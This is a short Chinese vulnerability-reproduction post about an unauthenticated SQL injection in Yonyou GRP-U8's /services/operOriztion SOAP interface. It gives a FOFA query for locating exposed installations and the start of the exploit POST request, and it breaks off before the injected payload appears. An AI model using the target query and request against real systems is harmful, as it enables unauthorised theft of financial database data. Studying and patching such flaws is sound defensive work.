【漏洞复现】用友GRP-U8 operOriztion SQL注入漏洞

0x01 产品简介

用友GRP-U8是一款功能全面的会计软件，适用于企业的财务管理需求。它提供了财务核算、财务分析、资产管理等全面的财务管理功能，实现了会计凭证自动生成、科目余额表生成等功能，大大简化了手动处理的繁琐过程。此外，该软件还具备数据备份、恢复等安全措施，确保企业财务数据的安全性。

0x02 漏洞概述

用友GRP-U8 /services/operOriztion接口存在SQL注入漏洞，未授权的攻击者可以通过该漏洞获取数据库敏感信息。

0x03 测绘语句

fofa: app="用友-GRP-U8"

0x04 漏洞复现

​
POST /services/operOriztion HTTP/1.1

Host:

Content-Type: text/xml;charset=UTF-8

SOAPAction: ""

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsdd="http://xml.apache.org/axis/wsdd/">

<soapenv:Header/>

<soapenv:Body>

&l